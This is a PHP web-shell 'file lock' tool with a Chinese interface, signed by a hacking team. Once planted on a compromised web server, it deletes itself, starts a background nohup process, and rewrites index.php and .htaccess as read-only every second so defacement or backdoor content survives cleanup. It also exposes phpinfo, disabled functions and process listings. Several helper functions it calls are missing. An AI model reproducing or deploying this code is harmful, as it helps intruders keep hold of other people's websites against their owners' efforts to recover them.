23s2s

✏️ Editing: 465aae1dea4cd78a150d2adc604672a6_0

<?php
$lock_file_name = 'index.php';
$lock_ht_name = '.htaccess';
$current_file_path = __FILE__;
$current_dir = realpath(dirname($current_file_path));
$lock_file_path = $current_dir . '/' . $lock_file_name;
$lock_ht_path = $current_dir . '/' . $lock_ht_name;
$current_file_name = str_replace($current_dir, '', $current_file_path);
$current_file_name = str_replace("/", '', $current_file_name);
$current_file_name = str_replace("\\", '', $current_file_name);
$lockHt = 1;

function html_display($data_array)
{
    foreach ($data_array as $key => $value) {
        echo PHP_EOL . '<hr />' . PHP_EOL;
        echo "<p>$key : $value</p>";

}
}

if (is_cli()) {
    @unlink($current_file_path);
    // index
    $content = file_get_contents($lock_file_path);
    $hash_content = hash('sha1', $content);
    // .htaccess
    $htContent = file_get_contents($lock_ht_path);
    $hash_ht_content = hash('sha1', $htContent);
    // exit;
    while (true) {
        if (file_exists($current_file_name)) {
            break;
        }
        lockfilefunc($lock_file_path,$current_file_name,$content,$hash_content);
		if ($lockHt == 1){
			lockfilefunc($lock_ht_path,$current_file_name,$htContent,$hash_ht_content);
		}
        sleep(1);
    }
}

function lockfile($file, $data)
{
    @unlink($file);
    chmod($file, 0777);
    @unlink($file);
    file_put_contents($file, $data);
    chmod($file, 0444);
    usleep(1000000);
}

if ( strstr($_SERVER['SCRIPT_NAME'], $current_file_name)) {

echo '<html lang="zh-cn"><head><meta charset="UTF-8"><title>锁码</title></head><body><div style="margin: 0 auto; width:1100px"><div style="float: left;text-align: left;width:200px">';
    htmlForm($current_file_name, "lock", "2 - 锁文件");
    htmlForm($current_file_name, "modify", "使加锁文件可修改");
    echo '</div><div style="float:right;text-align: left;width:850px; border:1px solid #999999;padding: 5px">信息：';
    switch ($_GET['action']) {
        case 'function':
            $data_array[] = array();
            $disabled = explode(',', ini_get('disable_functions'));
            html_display($disabled);
//            $results = run("ps aux");
//            foreach (explode("\n", $results) as  $value) {
//                $data_array[] = $value;
//            }
//            html_display($data_array);
            break;
        case 'check':
            $php_path = getPhpPath();
            $data_array['php 路径'] = $php_path;

$result = run("$php_path -v");
            if ($result === false) {
                $data_array['执行错误'] = '现有方法无法执行命令';
                html_display($data_array);
                break;
            }
            preg_match("/PHP ([.0-9]+)/si", $result, $matches);
            if (isset($matches[1])) {
                $data_array['php 版本'] = $matches[1];
            }
            if (file_exists($lock_file_name)){
                $data_array['加锁文件路径'] = $lock_file_path;
            }
            html_display($data_array);
            break;
        case 'lock':
            $php_path = getPhpPath();
            if (functionCheck() !== false) {
                //$data_array['执行命令'] = "nohup $php_path " . $current_file_path . " >/dev/null 2>&1 &";
                $data_array['执行命令'] = "nohup $php_path " . $current_file_path . " >/dev/null 2>&1 &";
                run($data_array['执行命令']);
                $result = run("ps aux | grep $current_file_name");
                foreach (explode("\n", $result) as  $value) {
                    $data_array[] = $value;
                }
                html_display($data_array);
            } else {
                $data_array['执行错误'] = '现有方法无法执行命令,执行第二种方案的锁';
                html_display($data_array);
                @unlink(__FILE__);
                error_reporting(0);
                ignore_user_abort(true);
                set_time_limit(0);
                $CodeIndex = @file_get_contents('index.php');
                $CodeHtaccess = @file_get_contents('.htaccess');
                while (1 == 1) {
                    if (file_exists(__FILE__)) {
                        header('Location: http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']);
                        break;
                    }
                    lockfile('index.php', $CodeIndex);
                    lockfile('.htaccess', $CodeHtaccess);
                };
            }
            break;
        case '4':
            $data_array[] = array();
            $results = run("ps aux | grep " . $current_file_name);
            foreach (explode("\n", $results) as  $value) {
                $data_array[] = $value;
            }
            html_display($data_array);
            break;
        case 'modify':
            $data_array['修改结果'] = "失败";
            if (chmod($lock_file_path, 0777))
            {
                $data_array['修改结果'] = "成功";
            }
            html_display($data_array);
            break;
        case 'phpinfo':
            phpinfo();
            break;
        case 'php_version':
            $php_path = getPhpPath();
            $data_array[] = array();
            $results = run("$php_path -v");
            foreach (explode("\n", $results) as  $value) {
                $data_array[] = $value;
            }
            html_display($data_array);
            break;
        default:
            break;
    }

echo '</div></div></body></html>';
    exit();
}

echo $_SERVER['SCRIPT_NAME'];

Sid Gifari From Gifari Industries - BD Cyber Security Team